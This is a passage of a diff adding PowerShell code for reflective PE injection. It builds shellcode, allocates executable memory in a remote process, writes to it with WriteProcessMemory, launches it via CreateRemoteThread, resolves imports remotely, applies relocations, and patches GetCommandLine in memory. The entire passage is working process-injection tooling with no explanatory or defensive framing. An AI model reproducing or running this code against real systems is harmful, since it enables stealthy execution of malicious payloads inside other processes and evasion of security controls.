+ $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1528
+ }
1529
+ else
1530
+ {
1531
+ $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
1532
+ $GetProcAddressSC2 = @(0xb9)
1533
+ $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
1534
+ $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
1535
+ $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
1536
+ }
1537
+ $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
1538
+ $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1539
+ $SCPSMemOriginal = $SCPSMem
1540
+
1541
+ Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
1542
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
1543
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
1544
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1545
+ Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
1546
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
1547
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
1548
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1549
+ Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
1550
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
1551
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
1552
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1553
+ Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
1554
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
1555
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
1556
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1557
+ Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
1558
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
1559
+
1560
+ $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1561
+ if ($RSCAddr -eq [IntPtr]::Zero)
1562
+ {
1563
+ Throw "Unable to allocate memory in the remote process for shellcode"
1564
+ }
1565
+ [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1566
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1567
+ if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1568
+ {
1569
+ Throw "Unable to write shellcode to remote process memory."
1570
+ }
1571
+
1572
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1573
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1574
+ if ($Result -ne 0)
1575
+ {
1576
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1577
+ }
1578
+
1579
+ #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
1580
+ [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1581
+ $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1582
+ if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
1583
+ {
1584
+ Throw "Call to ReadProcessMemory failed"
1585
+ }
1586
+ [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1587
+
1588
+ #Cleanup remote process memory
1589
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1590
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1591
+
1592
+ if (-not $LoadByOrdinal)
1593
+ {
1594
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1595
+ }
1596
+
1597
+ return $ProcAddress
1598
+ }
1599
+
1600
+
1601
+ Function Copy-Sections
1602
+ {
1603
+ Param(
1604
+ [Parameter(Position = 0, Mandatory = $true)]
1605
+ [Byte[]]
1606
+ $PEBytes,
1607
+
1608
+ [Parameter(Position = 1, Mandatory = $true)]
1609
+ [System.Object]
1610
+ $PEInfo,
1611
+
1612
+ [Parameter(Position = 2, Mandatory = $true)]
1613
+ [System.Object]
1614
+ $Win32Functions,
1615
+
1616
+ [Parameter(Position = 3, Mandatory = $true)]
1617
+ [System.Object]
1618
+ $Win32Types
1619
+ )
1620
+
1621
+ for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1622
+ {
1623
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
1624
+ $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1625
+
1626
+ #Address to copy the section to
1627
+ [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
1628
+
1629
+ #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
1630
+ # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
1631
+ # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
1632
+ # so truncate SizeOfRawData to VirtualSize
1633
+ $SizeOfRawData = $SectionHeader.SizeOfRawData
1634
+
1635
+ if ($SectionHeader.PointerToRawData -eq 0)
1636
+ {
1637
+ $SizeOfRawData = 0
1638
+ }
1639
+
1640
+ if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
1641
+ {
1642
+ $SizeOfRawData = $SectionHeader.VirtualSize
1643
+ }
1644
+
1645
+ if ($SizeOfRawData -gt 0)
1646
+ {
1647
+ Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
1648
+ [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
1649
+ }
1650
+
1651
+ #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
1652
+ if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
1653
+ {
1654
+ $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
1655
+ [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
1656
+ Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
1657
+ $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
1658
+ }
1659
+ }
1660
+ }
1661
+
1662
+
1663
+ Function Update-MemoryAddresses
1664
+ {
1665
+ Param(
1666
+ [Parameter(Position = 0, Mandatory = $true)]
1667
+ [System.Object]
1668
+ $PEInfo,
1669
+
1670
+ [Parameter(Position = 1, Mandatory = $true)]
1671
+ [Int64]
1672
+ $OriginalImageBase,
1673
+
1674
+ [Parameter(Position = 2, Mandatory = $true)]
1675
+ [System.Object]
1676
+ $Win32Constants,
1677
+
1678
+ [Parameter(Position = 3, Mandatory = $true)]
1679
+ [System.Object]
1680
+ $Win32Types
1681
+ )
1682
+
1683
+ [Int64]$BaseDifference = 0
1684
+ $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
1685
+ [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
1686
+
1687
+ #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
1688
+ if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
1689
+ -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
1690
+ {
1691
+ return
1692
+ }
1693
+
1694
+
1695
+ elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
1696
+ {
1697
+ $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
1698
+ $AddDifference = $false
1699
+ }
1700
+ elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
1701
+ {
1702
+ $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
1703
+ }
1704
+
1705
+ #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
1706
+ [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
1707
+ while($true)
1708
+ {
1709
+ #If SizeOfBlock == 0, we are done
1710
+ $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
1711
+
1712
+ if ($BaseRelocationTable.SizeOfBlock -eq 0)
1713
+ {
1714
+ break
1715
+ }
1716
+
1717
+ [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
1718
+ $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
1719
+
1720
+ #Loop through each relocation
1721
+ for($i = 0; $i -lt $NumRelocations; $i++)
1722
+ {
1723
+ #Get info for this relocation
1724
+ $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
1725
+ [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
1726
+
1727
+ #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
1728
+ [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
1729
+ [UInt16]$RelocType = $RelocationInfo -band 0xF000
1730
+ for ($j = 0; $j -lt 12; $j++)
1731
+ {
1732
+ $RelocType = [Math]::Floor($RelocType / 2)
1733
+ }
1734
+
1735
+ #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
1736
+ #This appears to be true for EXE's as well.
1737
+ # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
1738
+ if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
1739
+ -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
1740
+ {
1741
+ #Get the current memory address and update it based off the difference between PE expected base address and actual base address
1742
+ [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
1743
+ [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
1744
+
1745
+ if ($AddDifference -eq $true)
1746
+ {
1747
+ [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1748
+ }
1749
+ else
1750
+ {
1751
+ [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1752
+ }
1753
+
1754
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
1755
+ }
1756
+ elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
1757
+ {
1758
+ #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
1759
+ Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
1760
+ }
1761
+ }
1762
+
1763
+ $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
1764
+ }
1765
+ }
1766
+
1767
+
1768
+ Function Import-DllImports
1769
+ {
1770
+ Param(
1771
+ [Parameter(Position = 0, Mandatory = $true)]
1772
+ [System.Object]
1773
+ $PEInfo,
1774
+
1775
+ [Parameter(Position = 1, Mandatory = $true)]
1776
+ [System.Object]
1777
+ $Win32Functions,
1778
+
1779
+ [Parameter(Position = 2, Mandatory = $true)]
1780
+ [System.Object]
1781
+ $Win32Types,
1782
+
1783
+ [Parameter(Position = 3, Mandatory = $true)]
1784
+ [System.Object]
1785
+ $Win32Constants,
1786
+
1787
+ [Parameter(Position = 4, Mandatory = $false)]
1788
+ [IntPtr]
1789
+ $RemoteProcHandle
1790
+ )
1791
+
1792
+ $RemoteLoading = $false
1793
+ if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
1794
+ {
1795
+ $RemoteLoading = $true
1796
+ }
1797
+
1798
+ if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
1799
+ {
1800
+ [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
1801
+
1802
+ while ($true)
1803
+ {
1804
+ $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
1805
+
1806
+ #If the structure is null, it signals that this is the end of the array
1807
+ if ($ImportDescriptor.Characteristics -eq 0 `
1808
+ -and $ImportDescriptor.FirstThunk -eq 0 `
1809
+ -and $ImportDescriptor.ForwarderChain -eq 0 `
1810
+ -and $ImportDescriptor.Name -eq 0 `
1811
+ -and $ImportDescriptor.TimeDateStamp -eq 0)
1812
+ {
1813
+ Write-Verbose "Done importing DLL imports"
1814
+ break
1815
+ }
1816
+
1817
+ $ImportDllHandle = [IntPtr]::Zero
1818
+ $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
1819
+ $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1820
+
1821
+ if ($RemoteLoading -eq $true)
1822
+ {
1823
+ $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
1824
+ }
1825
+ else
1826
+ {
1827
+ $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
1828
+ }
1829
+
1830
+ if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
1831
+ {
1832
+ throw "Error importing DLL, DLLName: $ImportDllPath"
1833
+ }
1834
+
1835
+ #Get the first thunk, then loop through all of them
1836
+ [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
1837
+ [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
1838
+ [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1839
+
1840
+ while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
1841
+ {
1842
+ $LoadByOrdinal = $false
1843
+ [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
1844
+ #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
1845
+ # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
1846
+ # and doing the comparison, just see if it is less than 0
1847
+ [IntPtr]$NewThunkRef = [IntPtr]::Zero
1848
+ if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
1849
+ {
1850
+ [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1851
+ $LoadByOrdinal = $true
1852
+ }
1853
+ elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
1854
+ {
1855
+ [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1856
+ $LoadByOrdinal = $true
1857
+ }
1858
+ else
1859
+ {
1860
+ [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
1861
+ $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
1862
+ $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
1863
+ $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
1864
+ }
1865
+
1866
+ if ($RemoteLoading -eq $true)
1867
+ {
1868
+ [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
1869
+ }
1870
+ else
1871
+ {
1872
+ [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
1873
+ }
1874
+
1875
+ if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
1876
+ {
1877
+ if ($LoadByOrdinal)
1878
+ {
1879
+ Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
1880
+ }
1881
+ else
1882
+ {
1883
+ Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
1884
+ }
1885
+ }
1886
+
1887
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
1888
+
1889
+ $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1890
+ [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1891
+ [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1892
+
1893
+ #Cleanup
1894
+ #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
1895
+ if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
1896
+ {
1897
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
1898
+ $ProcedureNamePtr = [IntPtr]::Zero
1899
+ }
1900
+ }
1901
+
1902
+ $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
1903
+ }
1904
+ }
1905
+ }
1906
+
1907
+ Function Get-VirtualProtectValue
1908
+ {
1909
+ Param(
1910
+ [Parameter(Position = 0, Mandatory = $true)]
1911
+ [UInt32]
1912
+ $SectionCharacteristics
1913
+ )
1914
+
1915
+ $ProtectionFlag = 0x0
1916
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
1917
+ {
1918
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1919
+ {
1920
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1921
+ {
1922
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
1923
+ }
1924
+ else
1925
+ {
1926
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
1927
+ }
1928
+ }
1929
+ else
1930
+ {
1931
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1932
+ {
1933
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
1934
+ }
1935
+ else
1936
+ {
1937
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
1938
+ }
1939
+ }
1940
+ }
1941
+ else
1942
+ {
1943
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1944
+ {
1945
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1946
+ {
1947
+ $ProtectionFlag = $Win32Constants.PAGE_READWRITE
1948
+ }
1949
+ else
1950
+ {
1951
+ $ProtectionFlag = $Win32Constants.PAGE_READONLY
1952
+ }
1953
+ }
1954
+ else
1955
+ {
1956
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1957
+ {
1958
+ $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
1959
+ }
1960
+ else
1961
+ {
1962
+ $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
1963
+ }
1964
+ }
1965
+ }
1966
+
1967
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
1968
+ {
1969
+ $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
1970
+ }
1971
+
1972
+ return $ProtectionFlag
1973
+ }
1974
+
1975
+ Function Update-MemoryProtectionFlags
1976
+ {
1977
+ Param(
1978
+ [Parameter(Position = 0, Mandatory = $true)]
1979
+ [System.Object]
1980
+ $PEInfo,
1981
+
1982
+ [Parameter(Position = 1, Mandatory = $true)]
1983
+ [System.Object]
1984
+ $Win32Functions,
1985
+
1986
+ [Parameter(Position = 2, Mandatory = $true)]
1987
+ [System.Object]
1988
+ $Win32Constants,
1989
+
1990
+ [Parameter(Position = 3, Mandatory = $true)]
1991
+ [System.Object]
1992
+ $Win32Types
1993
+ )
1994
+
1995
+ for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1996
+ {
1997
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
1998
+ $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1999
+ [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
2000
+
2001
+ [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
2002
+ [UInt32]$SectionSize = $SectionHeader.VirtualSize
2003
+
2004
+ [UInt32]$OldProtectFlag = 0
2005
+ Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
2006
+ $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
2007
+ if ($Success -eq $false)
2008
+ {
2009
+ Throw "Unable to change memory protection"
2010
+ }
2011
+ }
2012
+ }
2013
+
2014
+ #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
2015
+ #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
2016
+ Function Update-ExeFunctions
2017
+ {
2018
+ Param(
2019
+ [Parameter(Position = 0, Mandatory = $true)]
2020
+ [System.Object]
2021
+ $PEInfo,
2022
+
2023
+ [Parameter(Position = 1, Mandatory = $true)]
2024
+ [System.Object]
2025
+ $Win32Functions,
2026
+
2027
+ [Parameter(Position = 2, Mandatory = $true)]
2028
+ [System.Object]
2029
+ $Win32Constants,
2030
+
2031
+ [Parameter(Position = 3, Mandatory = $true)]
2032
+ [String]
2033
+ $ExeArguments,
2034
+
2035
+ [Parameter(Position = 4, Mandatory = $true)]
2036
+ [IntPtr]
2037
+ $ExeDoneBytePtr
2038
+ )
2039
+
2040
+ #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
2041
+ $ReturnArray = @()
2042
+
2043
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2044
+ [UInt32]$OldProtectFlag = 0
2045
+
2046
+ [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
2047
+ if ($Kernel32Handle -eq [IntPtr]::Zero)
2048
+ {
2049
+ throw "Kernel32 handle null"
2050
+ }
2051
+
2052
+ [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
2053
+ if ($KernelBaseHandle -eq [IntPtr]::Zero)
2054
+ {
2055
+ throw "KernelBase handle null"
2056
+ }
2057
+
2058
+ #################################################
2059
+ #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
2060
+ # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
2061
+ $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2062
+ $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2063
+
2064
+ [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
2065
+ [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
2066
+
2067
+ if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
2068
+ {
2069
+ throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
2070
+ }
2071
+
2072
+ #Prepare the shellcode
2073
+ [Byte[]]$Shellcode1 = @()
2074
+ if ($PtrSize -eq 8)
2075
+ {
2076
+ $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
2077
+ }
2078
+ $Shellcode1 += 0xb8
2079
+
2080
+ [Byte[]]$Shellcode2 = @(0xc3)
2081
+ $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
2082
+
2083
+
2084
+ #Make copy of GetCommandLineA and GetCommandLineW
2085
+ $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2086
+ $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2087
+ $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
2088
+ $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
2089
+ $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
2090
+ $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
2091
+
2092
+ #Overwrite GetCommandLineA
2093
+ [UInt32]$OldProtectFlag = 0
2094
+ $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2095
+ if ($Success = $false)
2096
+ {
2097
+ throw "Call to VirtualProtect failed"
2098
+ }
2099
+
2100
+ $GetCommandLineAAddrTemp = $GetCommandLineAAddr
2101
